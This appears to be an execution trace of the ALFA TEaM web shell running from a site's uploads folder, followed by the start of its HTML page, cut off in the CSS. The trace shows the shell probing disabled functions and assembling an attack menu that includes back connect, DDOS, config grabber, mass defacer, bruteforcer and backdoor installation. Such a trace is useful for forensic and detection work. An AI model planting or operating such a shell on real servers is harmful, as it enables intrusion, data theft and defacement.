6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/lwp-mirror'
6 429 1 0.069007 2801792
6 429 R '/usr/bin/lwp-mirror'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/lwp-mirror'
5 428 1 0.069032 2801792
5 428 R '/usr/bin/lwp-mirror'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/lwp-mirror'
4 427 1 0.069057 2801696
4 427 R 19
3 A /var/www/html/uploads/alfa.phtml 1163 $x++
4 433 0 0.069083 2801696 function_exists 0 /var/www/html/uploads/alfa.phtml 1181 1 'get_magic_quotes_gpc'
4 433 1 0.069098 2801736
4 433 R TRUE
4 434 0 0.069110 2801696 get_magic_quotes_gpc 0 /var/www/html/uploads/alfa.phtml 1181 0
4 434 1 0.069123 2801696
4 434 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1181 $quotes = FALSE
3 A /var/www/html/uploads/alfa.phtml 1181 $magic = '<span class="header_off">OFF</span>'
4 435 0 0.069159 2801696 Alfa_GetDisable_Function 1 /var/www/html/uploads/alfa.phtml 1183 0
5 436 0 0.069173 2801696 ini_get 0 /var/www/html/uploads/alfa.phtml 917 1 'disable_functions'
5 436 1 0.069188 2802176
5 436 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/alfa.phtml 917 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/alfa.phtml 918 $afa = '<span class="header_show_all">All Functions Accessible</span>'
5 437 0 0.069248 2802144 explode 0 /var/www/html/uploads/alfa.phtml 920 2 ',' 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5 437 1 0.069272 2804616
5 437 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/alfa.phtml 920 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 0 0.069338 2804544 array_unique 0 /var/www/html/uploads/alfa.phtml 921 1 [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 1 0.069370 2805912
5 438 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/alfa.phtml 921 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/alfa.phtml 922 $i = 0
4 A /var/www/html/uploads/alfa.phtml 923 $b = 0
4 A /var/www/html/uploads/alfa.phtml 924 $func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4 A /var/www/html/uploads/alfa.phtml 925 $black_list = []
4 A /var/www/html/uploads/alfa.phtml 926 $allow_list = []
5 439 0 0.069496 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_alarm'
5 439 1 0.069509 2804576
5 439 R 'pcntl_alarm'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_alarm'
5 440 0 0.069534 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_alarm'
5 440 1 0.069549 2804576
5 440 R FALSE
5 441 0 0.069562 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_fork'
5 441 1 0.069575 2804576
5 441 R 'pcntl_fork'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_fork'
5 442 0 0.069599 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_fork'
5 442 1 0.069615 2804576
5 442 R FALSE
5 443 0 0.069628 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_waitpid'
5 443 1 0.069657 2804576
5 443 R 'pcntl_waitpid'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_waitpid'
5 444 0 0.069682 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_waitpid'
5 444 1 0.069695 2804576
5 444 R FALSE
5 445 0 0.069708 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wait'
5 445 1 0.069720 2804576
5 445 R 'pcntl_wait'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wait'
5 446 0 0.069743 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wait'
5 446 1 0.069756 2804576
5 446 R FALSE
5 447 0 0.069769 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wifexited'
5 447 1 0.069781 2804576
5 447 R 'pcntl_wifexited'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wifexited'
5 448 0 0.069806 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wifexited'
5 448 1 0.069819 2804576
5 448 R FALSE
5 449 0 0.069831 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wifstopped'
5 449 1 0.069844 2804576
5 449 R 'pcntl_wifstopped'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wifstopped'
5 450 0 0.069868 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wifstopped'
5 450 1 0.069881 2804576
5 450 R FALSE
5 451 0 0.069894 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wifsignaled'
5 451 1 0.069906 2804576
5 451 R 'pcntl_wifsignaled'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wifsignaled'
5 452 0 0.069930 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wifsignaled'
5 452 1 0.069943 2804576
5 452 R FALSE
5 453 0 0.069956 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wifcontinued'
5 453 1 0.069968 2804576
5 453 R 'pcntl_wifcontinued'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wifcontinued'
5 454 0 0.069992 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wifcontinued'
5 454 1 0.070005 2804576
5 454 R FALSE
5 455 0 0.070018 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wexitstatus'
5 455 1 0.070030 2804576
5 455 R 'pcntl_wexitstatus'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wexitstatus'
5 456 0 0.070054 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wexitstatus'
5 456 1 0.070071 2804576
5 456 R FALSE
5 457 0 0.070084 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wtermsig'
5 457 1 0.070097 2804576
5 457 R 'pcntl_wtermsig'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wtermsig'
5 458 0 0.070121 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wtermsig'
5 458 1 0.070134 2804576
5 458 R FALSE
5 459 0 0.070147 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_wstopsig'
5 459 1 0.070159 2804576
5 459 R 'pcntl_wstopsig'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_wstopsig'
5 460 0 0.070183 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_wstopsig'
5 460 1 0.070197 2804576
5 460 R FALSE
5 461 0 0.070210 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_signal'
5 461 1 0.070222 2804576
5 461 R 'pcntl_signal'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_signal'
5 462 0 0.070246 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_signal'
5 462 1 0.070259 2804576
5 462 R FALSE
5 463 0 0.070271 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_signal_get_handler'
5 463 1 0.070284 2804576
5 463 R 'pcntl_signal_get_handler'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_signal_get_handler'
5 464 0 0.070308 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_signal_get_handler'
5 464 1 0.070322 2804576
5 464 R FALSE
5 465 0 0.070334 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_signal_dispatch'
5 465 1 0.070347 2804576
5 465 R 'pcntl_signal_dispatch'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_signal_dispatch'
5 466 0 0.070371 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_signal_dispatch'
5 466 1 0.070384 2804576
5 466 R FALSE
5 467 0 0.070397 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_get_last_error'
5 467 1 0.070409 2804576
5 467 R 'pcntl_get_last_error'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_get_last_error'
5 468 0 0.070433 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_get_last_error'
5 468 1 0.070446 2804576
5 468 R FALSE
5 469 0 0.070459 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_strerror'
5 469 1 0.070472 2804576
5 469 R 'pcntl_strerror'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_strerror'
5 470 0 0.070495 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_strerror'
5 470 1 0.070508 2804576
5 470 R FALSE
5 471 0 0.070521 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_sigprocmask'
5 471 1 0.070533 2804576
5 471 R 'pcntl_sigprocmask'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_sigprocmask'
5 472 0 0.070557 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_sigprocmask'
5 472 1 0.070570 2804576
5 472 R FALSE
5 473 0 0.070583 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_sigwaitinfo'
5 473 1 0.070595 2804576
5 473 R 'pcntl_sigwaitinfo'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_sigwaitinfo'
5 474 0 0.070619 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_sigwaitinfo'
5 474 1 0.070632 2804576
5 474 R FALSE
5 475 0 0.070644 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_sigtimedwait'
5 475 1 0.070657 2804576
5 475 R 'pcntl_sigtimedwait'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_sigtimedwait'
5 476 0 0.070681 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_sigtimedwait'
5 476 1 0.070694 2804576
5 476 R FALSE
5 477 0 0.070706 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_exec'
5 477 1 0.070719 2804576
5 477 R 'pcntl_exec'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_exec'
5 478 0 0.070742 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_exec'
5 478 1 0.070758 2804576
5 478 R FALSE
5 479 0 0.070771 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_getpriority'
5 479 1 0.070783 2804576
5 479 R 'pcntl_getpriority'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_getpriority'
5 480 0 0.070808 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_getpriority'
5 480 1 0.070821 2804576
5 480 R FALSE
5 481 0 0.070833 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_setpriority'
5 481 1 0.070846 2804576
5 481 R 'pcntl_setpriority'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_setpriority'
5 482 0 0.070869 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_setpriority'
5 482 1 0.070882 2804576
5 482 R FALSE
5 483 0 0.070895 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 'pcntl_async_signals'
5 483 1 0.070908 2804576
5 483 R 'pcntl_async_signals'
4 A /var/www/html/uploads/alfa.phtml 928 $d = 'pcntl_async_signals'
5 484 0 0.070932 2804544 is_callable 0 /var/www/html/uploads/alfa.phtml 929 1 'pcntl_async_signals'
5 484 1 0.070945 2804576
5 484 R FALSE
5 485 0 0.070957 2804544 trim 0 /var/www/html/uploads/alfa.phtml 928 1 ''
5 485 1 0.070969 2804576
5 485 R ''
4 A /var/www/html/uploads/alfa.phtml 928 $d = ''
4 435 1 0.070992 2801696
4 435 R '<span class="header_show_all">All Functions Accessible</span>'
4 486 0 0.071013 2803488 getenv 0 /var/www/html/uploads/alfa.phtml 1193 1 'SERVER_SOFTWARE'
4 486 1 0.071030 2803568
4 486 R 'Apache/2.4.52 (Ubuntu)'
3 A /var/www/html/uploads/alfa.phtml 1210 $li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'proc'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'phpeval'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'sql'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'dumper'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'coldumper'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'hash'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'connect'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'zoneh'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'dos'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'safe'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'cgishell'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'ssiShell'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'cpcrack'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'portscanner'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'basedir'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'mail'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'ziper'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'deziper'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'IndexChanger'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'pwchanger'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'ShellInjectors'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'php2xml'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'cloudflare'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'Whmcs'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'symlink'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'MassDefacer'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'Crackers'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'searcher'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'config_grabber'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'fakepage'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'archive_manager'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'cmshijacker'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'remotedl'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'inbackdoor'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'whois'
3 A /var/www/html/uploads/alfa.phtml 1216 $key = 'selfrm'
3 61 1 0.071898 2797752
3 487 0 0.071907 2797752 AlfaNum 1 /var/www/html/uploads/alfa.phtml 2561 7 8 9 10 7 6 5 4
3 A /var/www/html/uploads/alfa.phtml 948 $args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3 A /var/www/html/uploads/alfa.phtml 949 $alfax = []
3 A /var/www/html/uploads/alfa.phtml 950 $find = []
3 A /var/www/html/uploads/alfa.phtml 951 $i = 1
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 1
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 2
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 3
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 4
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 5
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 6
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 7
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 8
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 9
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 952 $alfax[] = 10
3 A /var/www/html/uploads/alfa.phtml 951 $i++
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 8
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 9
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 10
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 7
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 6
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 5
3 A /var/www/html/uploads/alfa.phtml 955 $find[] = 4
4 488 0 0.072198 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 1 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 488 1 0.072215 2799272
4 488 R FALSE
4 489 0 0.072230 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 2 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 489 1 0.072247 2799272
4 489 R FALSE
4 490 0 0.072260 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 3 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 490 1 0.072276 2799272
4 490 R FALSE
4 491 0 0.072289 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 4 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 491 1 0.072305 2799272
4 491 R TRUE
4 492 0 0.072318 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 5 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 492 1 0.072334 2799272
4 492 R TRUE
4 493 0 0.072346 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 6 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 493 1 0.072362 2799272
4 493 R TRUE
4 494 0 0.072374 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 7 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 494 1 0.072389 2799272
4 494 R TRUE
4 495 0 0.072401 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 8 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 495 1 0.072416 2799272
4 495 R TRUE
4 496 0 0.072429 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 9 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 496 1 0.072444 2799272
4 496 R TRUE
4 497 0 0.072456 2799200 in_array 0 /var/www/html/uploads/alfa.phtml 959 2 10 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 497 1 0.072471 2799272
4 497 R TRUE
3 487 1 0.072483 2797752
3 498 0 0.072491 2797752 alfafooter 1 /var/www/html/uploads/alfa.phtml 2563 0
4 499 0 0.072508 2797752 htmlspecialchars 0 /var/www/html/uploads/alfa.phtml 2293 1 '/var/www/html/uploads/'
4 499 1 0.072524 2797944
4 499 R '/var/www/html/uploads/'
4 500 0 0.072540 2800824 date 0 /var/www/html/uploads/alfa.phtml 2306 1 'Y'
4 500 1 0.072574 2801112
4 500 R '2023'
3 498 1 0.074289 2814136
2 60 1 0.074301 2814136
0.074338 2626040
TRACE END [2023-02-13 01:28:00.820459]
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::..</title>
<style type="text/css">.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s 